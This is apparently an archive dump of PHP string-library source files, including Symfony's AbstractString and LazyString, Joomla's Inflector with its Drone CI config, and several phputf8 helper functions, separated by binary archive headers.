(!$includeNeedle) { $i += $str->length(); } return $this->slice($i); } /* * @param string\|string[] $needle * * @return static / public function afterLast($needle, bool $includeNeedle = false, int $offset = 0): self { $str = clone $this; $i = null; foreach ((array) $needle as $n) { $n = (string) $n; $j = $this->indexOfLast($n, $offset); if (null !== $j && $j >= $i) { $i = $offset = $j; $str->string = $n; } } if (null === $i) { return $str; } if (!$includeNeedle) { $i += $str->length(); } return $this->slice($i); } /* * @return static / abstract public function append(string ...$suffix): self; /* * @param string\|string[] $needle * * @return static / public function before($needle, bool $includeNeedle = false, int $offset = 0): self { $str = clone $this; $i = \PHP_INT_MAX; foreach ((array) $needle as $n) { $n = (string) $n; $j = $this->indexOf($n, $offset); if (null !== $j && $j < $i) { $i = $j; $str->string = $n; } } if (\PHP_INT_MAX === $i) { return $str; } if ($includeNeedle) { $i += $str->length(); } return $this->slice(0, $i); } /* * @param string\|string[] $needle * * @return static / public function beforeLast($needle, bool $includeNeedle = false, int $offset = 0): self { $str = clone $this; $i = null; foreach ((array) $needle as $n) { $n = (string) $n; $j = $this->indexOfLast($n, $offset); if (null !== $j && $j >= $i) { $i = $offset = $j; $str->string = $n; } } if (null === $i) { return $str; } if ($includeNeedle) { $i += $str->length(); } return $this->slice(0, $i); } /* * @return int[] / public function bytesAt(int $offset): array { $str = $this->slice($offset, 1); return '' === $str->string ? [] : array_values(unpack('C', $str->string)); } /** * @return static / abstract public function camel(): self; /* * @return static[] / abstract public function chunk(int $length = 1): array; /* * @return static / public function collapseWhitespace(): self { $str = clone $this; $str->string = trim(preg_replace("/(?:[ \n\r\t\x0C]{2,}+\|[\n\r\t\x0C])/", ' ', $str->string), " \n\r\t\x0C"); return $str; } /* * @param string\|string[] $needle / public function containsAny($needle): bool { return null !== $this->indexOf($needle); } /* * @param string\|string[] $suffix / public function endsWith($suffix): bool { if (!\is_array($suffix) && !$suffix instanceof \Traversable) { throw new \TypeError(sprintf('Method "%s()" must be overridden by class "%s" to deal with non-iterable values.', __FUNCTION__, static::class)); } foreach ($suffix as $s) { if ($this->endsWith((string) $s)) { return true; } } return false; } /* * @return static / public function ensureEnd(string $suffix): self { if (!$this->endsWith($suffix)) { return $this->append($suffix); } $suffix = preg_quote($suffix); $regex = '{('.$suffix.')(?:'.$suffix.')++$}D'; return $this->replaceMatches($regex.($this->ignoreCase ? 'i' : ''), '$1'); } /* * @return static / public function ensureStart(string $prefix): self { $prefix = new static($prefix); if (!$this->startsWith($prefix)) { return $this->prepend($prefix); } $str = clone $this; $i = $prefixLen = $prefix->length(); while ($this->indexOf($prefix, $i) === $i) { $str = $str->slice($prefixLen); $i += $prefixLen; } return $str; } /* * @param string\|string[] $string / public function equalsTo($string): bool { if (!\is_array($string) && !$string instanceof \Traversable) { throw new \TypeError(sprintf('Method "%s()" must be overridden by class "%s" to deal with non-iterable values.', __FUNCTION__, static::class)); } foreach ($string as $s) { if ($this->equalsTo((string) $s)) { return true; } } return false; } /* * @return static / abstract public function folded(): self; /* * @return static / public function ignoreCase(): self { $str = clone $this; $str->ignoreCase = true; return $str; } /* * @param string\|string[] $needle / public function indexOf($needle, int $offset = 0): ?int { if (!\is_array($needle) && !$needle instanceof \Traversable) { throw new \TypeError(sprintf('Method "%s()" must be overridden by class "%s" to deal with non-iterable values.', __FUNCTION__, static::class)); } $i = \PHP_INT_MAX; foreach ($needle as $n) { $j = $this->indexOf((string) $n, $offset); if (null !== $j && $j < $i) { $i = $j; } } return \PHP_INT_MAX === $i ? null : $i; } /* * @param string\|string[] $needle / public function indexOfLast($needle, int $offset = 0): ?int { if (!\is_array($needle) && !$needle instanceof \Traversable) { throw new \TypeError(sprintf('Method "%s()" must be overridden by class "%s" to deal with non-iterable values.', __FUNCTION__, static::class)); } $i = null; foreach ($needle as $n) { $j = $this->indexOfLast((string) $n, $offset); if (null !== $j && $j >= $i) { $i = $offset = $j; } } return $i; } public function isEmpty(): bool { return '' === $this->string; } /* * @return static / abstract public function join(array $strings, string $lastGlue = null): self; public function jsonSerialize(): string { return $this->string; } abstract public function length(): int; /* * @return static / abstract public function lower(): self; /* * Matches the string using a regular expression. * * Pass PREG_PATTERN_ORDER or PREG_SET_ORDER as $flags to get all occurrences matching the regular expression. * * @return array All matches in a multi-dimensional array ordered according to flags / abstract public function match(string $regexp, int $flags = 0, int $offset = 0): array; /* * @return static / abstract public function padBoth(int $length, string $padStr = ' '): self; /* * @return static / abstract public function padEnd(int $length, string $padStr = ' '): self; /* * @return static / abstract public function padStart(int $length, string $padStr = ' '): self; /* * @return static / abstract public function prepend(string ...$prefix): self; /* * @return static / public function repeat(int $multiplier): self { if (0 > $multiplier) { throw new InvalidArgumentException(sprintf('Multiplier must be positive, %d given.', $multiplier)); } $str = clone $this; $str->string = str_repeat($str->string, $multiplier); return $str; } /* * @return static / abstract public function replace(string $from, string $to): self; /* * @param string\|callable $to * * @return static / abstract public function replaceMatches(string $fromRegexp, $to): self; /* * @return static / abstract public function reverse(): self; /* * @return static / abstract public function slice(int $start = 0, int $length = null): self; /* * @return static / abstract public function snake(): self; /* * @return static / abstract public function splice(string $replacement, int $start = 0, int $length = null): self; /* * @return static[] / public function split(string $delimiter, int $limit = null, int $flags = null): array { if (null === $flags) { throw new \TypeError('Split behavior when $flags is null must be implemented by child classes.'); } if ($this->ignoreCase) { $delimiter .= 'i'; } set_error_handler(static function ($t, $m) { throw new InvalidArgumentException($m); }); try { if (false === $chunks = preg_split($delimiter, $this->string, $limit, $flags)) { $lastError = preg_last_error(); foreach (get_defined_constants(true)['pcre'] as $k => $v) { if ($lastError === $v && '_ERROR' === substr($k, -6)) { throw new RuntimeException('Splitting failed with '.$k.'.'); } } throw new RuntimeException('Splitting failed with unknown error code.'); } } finally { restore_error_handler(); } $str = clone $this; if (self::PREG_SPLIT_OFFSET_CAPTURE & $flags) { foreach ($chunks as &$chunk) { $str->string = $chunk[0]; $chunk[0] = clone $str; } } else { foreach ($chunks as &$chunk) { $str->string = $chunk; $chunk = clone $str; } } return $chunks; } /* * @param string\|string[] $prefix / public function startsWith($prefix): bool { if (!\is_array($prefix) && !$prefix instanceof \Traversable) { throw new \TypeError(sprintf('Method "%s()" must be overridden by class "%s" to deal with non-iterable values.', __FUNCTION__, static::class)); } foreach ($prefix as $prefix) { if ($this->startsWith((string) $prefix)) { return true; } } return false; } /* * @return static / abstract public function title(bool $allWords = false): self; public function toByteString(string $toEncoding = null): ByteString { $b = new ByteString(); $toEncoding = \in_array($toEncoding, ['utf8', 'utf-8', 'UTF8'], true) ? 'UTF-8' : $toEncoding; if (null === $toEncoding \|\| $toEncoding === $fromEncoding = $this instanceof AbstractUnicodeString \|\| preg_match('//u', $b->string) ? 'UTF-8' : 'Windows-1252') { $b->string = $this->string; return $b; } set_error_handler(static function ($t, $m) { throw new InvalidArgumentException($m); }); try { try { $b->string = mb_convert_encoding($this->string, $toEncoding, 'UTF-8'); } catch (InvalidArgumentException $e) { if (!\function_exists('iconv')) { throw $e; } $b->string = iconv('UTF-8', $toEncoding, $this->string); } } finally { restore_error_handler(); } return $b; } public function toCodePointString(): CodePointString { return new CodePointString($this->string); } public function toString(): string { return $this->string; } public function toUnicodeString(): UnicodeString { return new UnicodeString($this->string); } /* * @return static / abstract public function trim(string $chars = " \t\n\r\0\x0B\x0C\u{A0}\u{FEFF}"): self; /* * @return static / abstract public function trimEnd(string $chars = " \t\n\r\0\x0B\x0C\u{A0}\u{FEFF}"): self; /* * @param string\|string[] $prefix * * @return static / public function trimPrefix($prefix): self { if (\is_array($prefix) \|\| $prefix instanceof \Traversable) { foreach ($prefix as $s) { $t = $this->trimPrefix($s); if ($t->string !== $this->string) { return $t; } } return clone $this; } $str = clone $this; if ($prefix instanceof self) { $prefix = $prefix->string; } else { $prefix = (string) $prefix; } if ('' !== $prefix && \strlen($this->string) >= \strlen($prefix) && 0 === substr_compare($this->string, $prefix, 0, \strlen($prefix), $this->ignoreCase)) { $str->string = substr($this->string, \strlen($prefix)); } return $str; } /* * @return static / abstract public function trimStart(string $chars = " \t\n\r\0\x0B\x0C\u{A0}\u{FEFF}"): self; /* * @param string\|string[] $suffix * * @return static / public function trimSuffix($suffix): self { if (\is_array($suffix) \|\| $suffix instanceof \Traversable) { foreach ($suffix as $s) { $t = $this->trimSuffix($s); if ($t->string !== $this->string) { return $t; } } return clone $this; } $str = clone $this; if ($suffix instanceof self) { $suffix = $suffix->string; } else { $suffix = (string) $suffix; } if ('' !== $suffix && \strlen($this->string) >= \strlen($suffix) && 0 === substr_compare($this->string, $suffix, -\strlen($suffix), null, $this->ignoreCase)) { $str->string = substr($this->string, 0, -\strlen($suffix)); } return $str; } /* * @return static / public function truncate(int $length, string $ellipsis = '', bool $cut = true): self { $stringLength = $this->length(); if ($stringLength <= $length) { return clone $this; } $ellipsisLength = '' !== $ellipsis ? (new static($ellipsis))->length() : 0; if ($length < $ellipsisLength) { $ellipsisLength = 0; } if (!$cut) { if (null === $length = $this->indexOf([' ', "\r", "\n", "\t"], ($length ?: 1) - 1)) { return clone $this; } $length += $ellipsisLength; } $str = $this->slice(0, $length - $ellipsisLength); return $ellipsisLength ? $str->trimEnd()->append($ellipsis) : $str; } /* * @return static / abstract public function upper(): self; /* * Returns the printable length on a terminal. / abstract public function width(bool $ignoreAnsiDecoration = true): int; /* * @return static / public function wordwrap(int $width = 75, string $break = "\n", bool $cut = false): self { $lines = '' !== $break ? $this->split($break) : [clone $this]; $chars = []; $mask = ''; if (1 === \count($lines) && '' === $lines[0]->string) { return $lines[0]; } foreach ($lines as $i => $line) { if ($i) { $chars[] = $break; $mask .= '#'; } foreach ($line->chunk() as $char) { $chars[] = $char->string; $mask .= ' ' === $char->string ? ' ' : '?'; } } $string = ''; $j = 0; $b = $i = -1; $mask = wordwrap($mask, $width, '#', $cut); while (false !== $b = strpos($mask, '#', $b + 1)) { for (++$i; $i < $b; ++$i) { $string .= $chars[$j]; unset($chars[$j++]); } if ($break === $chars[$j] \|\| ' ' === $chars[$j]) { unset($chars[$j++]); } $string .= $break; } $str = clone $this; $str->string = $string.implode('', $chars); return $str; } public function __sleep(): array { return ['string']; } public function __clone() { $this->ignoreCase = false; } public function __toString(): string { return $this->string; } } PK��(�\��(�c��c��LazyString.phpnu��[��<?php / * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. / namespace Symfony\Component\String; /* * A string whose value is computed lazily by a callback. * * @author Nicolas Grekas <p@tchwork.com> / class LazyString implements \Stringable, \JsonSerializable { private $value; /* * @param callable\|array $callback A callable or a [Closure, method] lazy-callable * * @return static / public static function fromCallable($callback, ...$arguments): self { if (!\is_callable($callback) && !(\is_array($callback) && isset($callback[0]) && $callback[0] instanceof \Closure && 2 >= \count($callback))) { throw new \TypeError(sprintf('Argument 1 passed to "%s()" must be a callable or a [Closure, method] lazy-callable, "%s" given.', __METHOD__, get_debug_type($callback))); } $lazyString = new static(); $lazyString->value = static function () use (&$callback, &$arguments, &$value): string { if (null !== $arguments) { if (!\is_callable($callback)) { $callback[0] = $callback[0](); $callback[1] = $callback[1] ?? '__invoke'; } $value = $callback(...$arguments); $callback = self::getPrettyName($callback); $arguments = null; } return $value ?? ''; }; return $lazyString; } /* * @param string\|int\|float\|bool\|\Stringable $value * * @return static / public static function fromStringable($value): self { if (!self::isStringable($value)) { throw new \TypeError(sprintf('Argument 1 passed to "%s()" must be a scalar or a stringable object, "%s" given.', __METHOD__, get_debug_type($value))); } if (\is_object($value)) { return static::fromCallable([$value, '__toString']); } $lazyString = new static(); $lazyString->value = (string) $value; return $lazyString; } /* * Tells whether the provided value can be cast to string. / final public static function isStringable($value): bool { return \is_string($value) \|\| $value instanceof self \|\| (\is_object($value) ? method_exists($value, '__toString') : \is_scalar($value)); } /* * Casts scalars and stringable objects to strings. * * @param object\|string\|int\|float\|bool $value * * @throws \TypeError When the provided value is not stringable / final public static function resolve($value): string { return $value; } /* * @return string / public function __toString() { if (\is_string($this->value)) { return $this->value; } try { return $this->value = ($this->value)(); } catch (\Throwable $e) { if (\TypeError::class === \get_class($e) && __FILE__ === $e->getFile()) { $type = explode(', ', $e->getMessage()); $type = substr(array_pop($type), 0, -\strlen(' returned')); $r = new \ReflectionFunction($this->value); $callback = $r->getStaticVariables()['callback']; $e = new \TypeError(sprintf('Return value of %s() passed to %s::fromCallable() must be of the type string, %s returned.', $callback, static::class, $type)); } if (\PHP_VERSION_ID < 70400) { // leverage the ErrorHandler component with graceful fallback when it's not available return trigger_error($e, \E_USER_ERROR); } throw $e; } } public function __sleep(): array { $this->__toString(); return ['value']; } public function jsonSerialize(): string { return $this->__toString(); } private function __construct() { } private static function getPrettyName(callable $callback): string { if (\is_string($callback)) { return $callback; } if (\is_array($callback)) { $class = \is_object($callback[0]) ? get_debug_type($callback[0]) : $callback[0]; $method = $callback[1]; } elseif ($callback instanceof \Closure) { $r = new \ReflectionFunction($callback); if (false !== strpos($r->name, '{closure}') \|\| !$class = \PHP_VERSION_ID >= 80111 ? $r->getClosureCalledClass() : $r->getClosureScopeClass()) { return $r->name; } $class = $class->name; $method = $r->name; } else { $class = get_debug_type($callback); $method = '__invoke'; } return $class.'::'.$method; } } PK��AD�\�+�m� �� .drone.jsonnetnu��[��local volumes = [ { name: "composer-cache", path: "/tmp/composer-cache", }, ]; local hostvolumes = [ { name: "composer-cache", host: {path: "/tmp/composer-cache"} }, ]; local composer(phpversion, params) = { name: "composer", image: "joomlaprojects/docker-images:php" + phpversion, volumes: volumes, commands: [ "php -v", "composer update " + params, ] }; local phpunit(phpversion) = { name: "PHPUnit", image: "joomlaprojects/docker-images:php" + phpversion, [if phpversion == "8.2" then "failure"]: "ignore", commands: ["vendor/bin/phpunit"] }; local pipeline(name, phpversion, params) = { kind: "pipeline", name: "PHP " + name, volumes: hostvolumes, steps: [ composer(phpversion, params), phpunit(phpversion) ], }; [ { kind: "pipeline", name: "Codequality", volumes: hostvolumes, steps: [ { name: "composer", image: "joomlaprojects/docker-images:php7.4", volumes: volumes, commands: [ "php -v", "composer update", "composer require phpmd/phpmd phpstan/phpstan" ] }, { name: "phpcs", image: "joomlaprojects/docker-images:php7.4", depends: [ "composer" ], commands: [ "vendor/bin/phpcs --config-set installed_paths vendor/joomla/coding-standards", "vendor/bin/phpcs --standard=ruleset.xml src/" ] }, { name: "phpmd", image: "joomlaprojects/docker-images:php7.4", depends: [ "composer" ], failure: "ignore", commands: [ "vendor/bin/phpmd src text cleancode", "vendor/bin/phpmd src text codesize", "vendor/bin/phpmd src text controversial", "vendor/bin/phpmd src text design", "vendor/bin/phpmd src text unusedcode", ] }, { name: "phpstan", image: "joomlaprojects/docker-images:php7.4", depends: [ "composer" ], failure: "ignore", commands: [ "vendor/bin/phpstan analyse src", ] }, { name: "phploc", image: "joomlaprojects/docker-images:php7.4", depends: [ "composer" ], failure: "ignore", commands: [ "phploc src", ] }, { name: "phpcpd", image: "joomlaprojects/docker-images:php7.4", depends: [ "composer" ], failure: "ignore", commands: [ "phpcpd src", ] } ] }, pipeline("7.2 lowest", "7.2", "--prefer-stable --prefer-lowest"), pipeline("7.2", "7.2", "--prefer-stable"), pipeline("7.3", "7.3", "--prefer-stable"), pipeline("7.4", "7.4", "--prefer-stable"), pipeline("8.0", "8.0", "--prefer-stable"), pipeline("8.1", "8.1", "--prefer-stable"), pipeline("8.2", "8.2", "--prefer-stable --ignore-platform-reqs"), ] PK��AD�\��^��src/Inflector.phpnu��[��<?php /* * Part of the Joomla Framework String Package * * @copyright Copyright (C) 2005 - 2021 Open Source Matters, Inc. All rights reserved. * @license GNU General Public License version 2 or later; see LICENSE / namespace Joomla\String; use Doctrine\Common\Inflector\Inflector as DoctrineInflector; /* * Joomla Framework String Inflector Class * * The Inflector transforms words * * @since 1.0 / class Inflector extends DoctrineInflector { /* * The singleton instance. * * @var Inflector * @since 1.0 * @deprecated 3.0 / private static $instance; /* * The inflector rules for countability. * * @var array * @since 2.0.0 / private static $countable = [ 'rules' => [ 'id', 'hits', 'clicks', ], ]; /* * Adds inflection regex rules to the inflector. * * @param mixed $data A string or an array of strings or regex rules to add. * @param string $ruleType The rule type: singular \| plural \| countable * * @return void * * @since 1.0 * @throws \InvalidArgumentException / private function addRule($data, string $ruleType) { if (\is_string($data)) { $data = [$data]; } elseif (!\is_array($data)) { throw new \InvalidArgumentException('Invalid inflector rule data.'); } elseif (!\in_array($ruleType, ['singular', 'plural', 'countable'])) { throw new \InvalidArgumentException('Unsupported rule type.'); } if ($ruleType === 'countable') { foreach ($data as $rule) { // Ensure a string is pushed. array_push(self::$countable['rules'], (string) $rule); } } else { static::rules($ruleType, $data); } } /* * Adds a countable word. * * @param mixed $data A string or an array of strings to add. * * @return $this * * @since 1.0 / public function addCountableRule($data) { $this->addRule($data, 'countable'); return $this; } /* * Adds a specific singular-plural pair for a word. * * @param string $singular The singular form of the word. * @param string $plural The plural form of the word. If omitted, it is assumed the singular and plural are identical. * * @return $this * * @since 1.0 * @deprecated 3.0 Use Doctrine\Common\Inflector\Inflector::rules() instead. / public function addWord($singular, $plural = '') { trigger_deprecation( 'joomla/string', '2.0.0', '%s() is deprecated and will be removed in 3.0, use %s::rules() instead.', __METHOD__, DoctrineInflector::class ); if ($plural !== '') { static::rules( 'plural', [ 'irregular' => [$plural => $singular], ] ); static::rules( 'singular', [ 'irregular' => [$singular => $plural], ] ); } else { static::rules( 'plural', [ 'uninflected' => [$singular], ] ); static::rules( 'singular', [ 'uninflected' => [$singular], ] ); } return $this; } /* * Adds a pluralisation rule. * * @param mixed $data A string or an array of regex rules to add. * * @return $this * * @since 1.0 * @deprecated 3.0 Use Doctrine\Common\Inflector\Inflector::rules() instead. / public function addPluraliseRule($data) { trigger_deprecation( 'joomla/string', '2.0.0', '%s() is deprecated and will be removed in 3.0, use %s::rules() instead.', __METHOD__, DoctrineInflector::class ); $this->addRule($data, 'plural'); return $this; } /* * Adds a singularisation rule. * * @param mixed $data A string or an array of regex rules to add. * * @return $this * * @since 1.0 * @deprecated 3.0 Use Doctrine\Common\Inflector\Inflector::rules() instead. / public function addSingulariseRule($data) { trigger_deprecation( 'joomla/string', '2.0.0', '%s() is deprecated and will be removed in 3.0, use %s::rules() instead.', __METHOD__, DoctrineInflector::class ); $this->addRule($data, 'singular'); return $this; } /* * Gets an instance of the Inflector singleton. * * @param boolean $new If true (default is false), returns a new instance regardless if one exists. This argument is mainly used for testing. * * @return static * * @since 1.0 * @deprecated 3.0 Use static methods without a class instance instead. / public static function getInstance($new = false) { trigger_deprecation( 'joomla/string', '2.0.0', '%s() is deprecated and will be removed in 3.0.', __METHOD__ ); if ($new) { return new static; } if (!\is_object(self::$instance)) { self::$instance = new static; } return self::$instance; } /* * Checks if a word is countable. * * @param string $word The string input. * * @return boolean True if word is countable, false otherwise. * * @since 1.0 / public function isCountable($word) { return \in_array($word, self::$countable['rules']); } /* * Checks if a word is in a plural form. * * @param string $word The string input. * * @return boolean True if word is plural, false if not. * * @since 1.0 / public function isPlural($word) { return $this->toPlural($this->toSingular($word)) === $word; } /* * Checks if a word is in a singular form. * * @param string $word The string input. * * @return boolean True if word is singular, false if not. * * @since 1.0 / public function isSingular($word) { return $this->toSingular($word) === $word; } /* * Converts a word into its plural form. * * @param string $word The singular word to pluralise. * * @return string The word in plural form. * * @since 1.0 * @deprecated 3.0 Use Doctrine\Common\Inflector\Inflector::pluralize() instead. / public function toPlural($word) { trigger_deprecation( 'joomla/string', '2.0.0', '%s() is deprecated and will be removed in 3.0, use %s::pluralize() instead.', __METHOD__, DoctrineInflector::class ); return static::pluralize($word); } /* * Converts a word into its singular form. * * @param string $word The plural word to singularise. * * @return string The word in singular form. * * @since 1.0 * @deprecated 3.0 Use Doctrine\Common\Inflector\Inflector::singularize() instead. / public function toSingular($word) { trigger_deprecation( 'joomla/string', '2.0.0', '%s() is deprecated and will be removed in 3.0, use %s::singularize() instead.', __METHOD__, DoctrineInflector::class ); return static::singularize($word); } } PK��AD�\:a �_��_��src/phputf8/strspn.phpnu��[��<?php /* * @package utf8 / //--------------------------------------------------------------- /* * UTF-8 aware alternative to strspn * Find length of initial segment matching mask * Note: requires utf8_strlen and utf8_substr (if start, length are used) * @param string * @return int * @see http://www.php.net/strspn * @package utf8 / function utf8_strspn($str, $mask, $start = NULL, $length = NULL) { $mask = preg_replace('!([\\\\\\-\\]\\[/^])!','\\\${1}',$mask); // Fix for $start but no $length argument. if ($start !== null && $length === null) { $length = utf8_strlen($str); } if ( $start !== NULL \|\| $length !== NULL ) { $str = utf8_substr($str, $start, $length); } preg_match('/^['.$mask.']+/u',$str, $matches); if ( isset($matches[0]) ) { return utf8_strlen($matches[0]); } return 0; } PK��AD�\OX5��src/phputf8/strcasecmp.phpnu��[��<?php /* * @package utf8 / //--------------------------------------------------------------- /* * UTF-8 aware alternative to strcasecmp * A case insensivite string comparison * Note: requires utf8_strtolower * @param string * @param string * @return int * @see http://www.php.net/strcasecmp * @see utf8_strtolower * @package utf8 / function utf8_strcasecmp($strX, $strY) { $strX = utf8_strtolower($strX); $strY = utf8_strtolower($strY); return strcmp($strX, $strY); } PK��AD�\��R��R��src/phputf8/trim.phpnu��[��<?php /* * @package utf8 / //--------------------------------------------------------------- /* * UTF-8 aware replacement for ltrim() * Note: you only need to use this if you are supplying the charlist * optional arg and it contains UTF-8 characters. Otherwise ltrim will * work normally on a UTF-8 string * @author Andreas Gohr <andi@splitbrain.org> * @see http://www.php.net/ltrim * @see http://dev.splitbrain.org/view/darcs/dokuwiki/inc/utf8.php * @return string * @package utf8 / function utf8_ltrim( $str, $charlist = FALSE ) { if($charlist === FALSE) return ltrim($str); //quote charlist for use in a characterclass $charlist = preg_replace('!([\\\\\\-\\]\\[/^])!','\\\${1}',$charlist); return preg_replace('/^['.$charlist.']+/u','',$str); } //--------------------------------------------------------------- /* * UTF-8 aware replacement for rtrim() * Note: you only need to use this if you are supplying the charlist * optional arg and it contains UTF-8 characters. Otherwise rtrim will * work normally on a UTF-8 string * @author Andreas Gohr <andi@splitbrain.org> * @see http://www.php.net/rtrim * @see http://dev.splitbrain.org/view/darcs/dokuwiki/inc/utf8.php * @return string * @package utf8 / function utf8_rtrim( $str, $charlist = FALSE ) { if($charlist === FALSE) return rtrim($str); //quote charlist for use in a characterclass $charlist = preg_replace('!([\\\\\\-\\]\\[/^])!','\\\${1}',$charlist); return preg_replace('/['.$charlist.']+$/u','',$str); } //--------------------------------------------------------------- /* * UTF-8 aware replacement for trim() * Note: you only need to use this if you are supplying the charlist * optional arg and it contains UTF-8 characters. Otherwise trim will * work normally on a UTF-8 string * @author Andreas Gohr <andi@splitbrain.org> * @see http://www.php.net/trim * @see http://dev.splitbrain.org/view/darcs/dokuwiki/inc/utf8.php * @return string * @package utf8 / function utf8_trim( $str, $charlist = FALSE ) { if($charlist === FALSE) return trim($str); return utf8_ltrim(utf8_rtrim($str, $charlist), $charlist); } PK��AD�\��src/phputf8/ucfirst.phpnu��[��<?php /* * @package utf8 / //--------------------------------------------------------------- /* * UTF-8 aware alternative to ucfirst * Make a string's first character uppercase * Note: requires utf8_strtoupper * @param string * @return string with first character as upper case (if applicable) * @see http://www.php.net/ucfirst * @see utf8_strtoupper * @package utf8 / function utf8_ucfirst($str){ switch ( utf8_strlen($str) ) { case 0: return ''; break; case 1: return utf8_strtoupper($str); break; default: preg_match('/^(.{1})(.)$/us', $str, $matches); return utf8_strtoupper($matches[1]).$matches[2]; break; } } PK��AD�\�uw��w��src/phputf8/str_pad.phpnu��[��<?php /** * @package utf8 / //--------------------------------------------------------------- /* * Replacement for str_pad. $padStr may contain multi-byte characters. * * @author Oliver Saunders <oliver (a) osinternetservices.com> * @param string $input * @param int $length * @param string $padStr * @param int $type ( same constants as str_pad ) * @return string * @see http://www.php.net/str_pad * @see utf8_substr * @package utf8 / function utf8_str_pad($input, $length, $padStr = ' ', $type = STR_PAD_RIGHT) { $inputLen = utf8_strlen($input); if ($length <= $inputLen) { return $input; } $padStrLen = utf8_strlen($padStr); $padLen = $length - $inputLen; if ($type == STR_PAD_RIGHT) { $repeatTimes = ceil($padLen / $padStrLen); return utf8_substr($input . str_repeat($padStr, $repeatTimes), 0, $length); } if ($type == STR_PAD_LEFT) { $repeatTimes = ceil($padLen / $padStrLen); return utf8_substr(str_repeat($padStr, $repeatTimes), 0, floor($padLen)) . $input; } if ($type == STR_PAD_BOTH) { $padLen/= 2; $padAmountLeft = floor($padLen); $padAmountRight = ceil($padLen); $repeatTimesLeft = ceil($padAmountLeft / $padStrLen); $repeatTimesRight = ceil($padAmountRight / $padStrLen); $paddingLeft = utf8_substr(str_repeat($padStr, $repeatTimesLeft), 0, $padAmountLeft); $paddingRight = utf8_substr(str_repeat($padStr, $repeatTimesRight), 0, $padAmountLeft); return $paddingLeft . $input . $paddingRight; } trigger_error('utf8_str_pad: Unknown padding type (' . $type . ')',E_USER_ERROR); } PK��AD�\��2��2��src/phputf8/substr_replace.phpnu��[��<?php /* * @package utf8 / //--------------------------------------------------------------- /* * UTF-8 aware substr_replace. * Note: requires utf8_substr to be loaded * @see http://www.php.net/substr_replace * @see utf8_strlen * @see utf8_substr / function utf8_substr_replace($str, $repl, $start , $length = NULL ) { preg_match_all('/./us', $str, $ar); preg_match_all('/./us', $repl, $rar); if( $length === NULL ) { $length = utf8_strlen($str); } array_splice( $ar[0], $start, $length, $rar[0] ); return join('',$ar[0]); } PK��AD�\��)-B��B��src/phputf8/strcspn.phpnu��[��<?php /* * @package utf8 / //--------------------------------------------------------------- /* * UTF-8 aware alternative to strcspn * Find length of initial segment not matching mask * Note: requires utf8_strlen and utf8_substr (if start, length are used) * @param string * @return int * @see http://www.php.net/strcspn * @see utf8_strlen * @package utf8 / function utf8_strcspn($str, $mask, $start = NULL, $length = NULL) { if ( empty($mask) \|\| strlen($mask) == 0 ) { return NULL; } $mask = preg_replace('!([\\\\\\-\\]\\[/^])!','\\\${1}',$mask); if ( $start !== NULL \|\| $length !== NULL ) { $str = utf8_substr($str, $start, $length); } preg_match('/^[^'.$mask.']+/u',$str, $matches); if ( isset($matches[0]) ) { return utf8_strlen($matches[0]); } return 0; } PK��AD�\@��src/phputf8/str_ireplace.phpnu��[��<?php /* * @package utf8 / //--------------------------------------------------------------- /* * UTF-8 aware alternative to str_ireplace * Case-insensitive version of str_replace * Note: requires utf8_strtolower * Note: it's not fast and gets slower if $search / $replace is array * Notes: it's based on the assumption that the lower and uppercase * versions of a UTF-8 character will have the same length in bytes * which is currently true given the hash table to strtolower * @param string * @return string * @see http://www.php.net/str_ireplace * @see utf8_strtolower * @package utf8 / function utf8_ireplace($search, $replace, $str, $count = NULL){ if ( !is_array($search) ) { $slen = strlen($search); if ( $slen == 0 ) { return $str; } $lendif = strlen($replace) - strlen($search); $search = utf8_strtolower($search); $search = preg_quote($search, '/'); $lstr = utf8_strtolower($str); $i = 0; $matched = 0; while ( preg_match('/(.)'.$search.'/Us',$lstr, $matches) ) { if ( $i === $count ) { break; } $mlen = strlen($matches[0]); $lstr = substr($lstr, $mlen); $str = substr_replace($str, $replace, $matched+strlen($matches[1]), $slen); $matched += $mlen + $lendif; $i++; } return $str; } else { foreach ( array_keys($search) as $k ) { if ( is_array($replace) ) { if ( array_key_exists($k,$replace) ) { $str = utf8_ireplace($search[$k], $replace[$k], $str, $count); } else { $str = utf8_ireplace($search[$k], '', $str, $count); } } else { $str = utf8_ireplace($search[$k], $replace, $str, $count); } } return $str; } } PK��AD�\�^��src/phputf8/str_split.phpnu��[��<?php /** * @package utf8 / //--------------------------------------------------------------- /* * UTF-8 aware alternative to str_split * Convert a string to an array * Note: requires utf8_strlen to be loaded * @param string UTF-8 encoded * @param int number to characters to split string by * @return string characters in string reverses * @see http://www.php.net/str_split * @see utf8_strlen * @package utf8 / function utf8_str_split($str, $split_len = 1) { if ( !preg_match('/^[0-9]+$/',$split_len) \|\| $split_len < 1 ) { return FALSE; } $len = utf8_strlen($str); if ( $len <= $split_len ) { return array($str); } preg_match_all('/.{'.$split_len.'}\|[^\x00]{1,'.$split_len.'}$/us', $str, $ar); return $ar[0]; } PK��AD�\�h�w�A��A��src/phputf8/native/core.phpnu��[��<?php /* * @package utf8 / /* * Define UTF8_CORE as required / if ( !defined('UTF8_CORE') ) { define('UTF8_CORE',TRUE); } //-------------------------------------------------------------------- /* * Unicode aware replacement for strlen(). Returns the number * of characters in the string (not the number of bytes), replacing * multibyte characters with a single byte equivalent * utf8_decode() converts characters that are not in ISO-8859-1 * to '?', which, for the purpose of counting, is alright - It's * much faster than iconv_strlen * Note: this function does not count bad UTF-8 bytes in the string * - these are simply ignored * @author <chernyshevsky at hotmail dot com> * @link http://www.php.net/manual/en/function.strlen.php * @link http://www.php.net/manual/en/function.utf8-decode.php * @param string UTF-8 string * @return int number of UTF-8 characters in string * @package utf8 / function utf8_strlen($str){ return strlen(utf8_decode($str)); } //-------------------------------------------------------------------- /* * UTF-8 aware alternative to strpos * Find position of first occurrence of a string * Note: This will get alot slower if offset is used * Note: requires utf8_strlen amd utf8_substr to be loaded * @param string haystack * @param string needle (you should validate this with utf8_is_valid) * @param integer offset in characters (from left) * @return mixed integer position or FALSE on failure * @see http://www.php.net/strpos * @see utf8_strlen * @see utf8_substr * @package utf8 / function utf8_strpos($str, $needle, $offset = NULL) { if ( is_null($offset) ) { $ar = explode($needle, $str, 2); if ( count($ar) > 1 ) { return utf8_strlen($ar[0]); } return FALSE; } else { if ( !is_int($offset) ) { trigger_error('utf8_strpos: Offset must be an integer',E_USER_ERROR); return FALSE; } $str = utf8_substr($str, $offset); if ( FALSE !== ( $pos = utf8_strpos($str, $needle) ) ) { return $pos + $offset; } return FALSE; } } 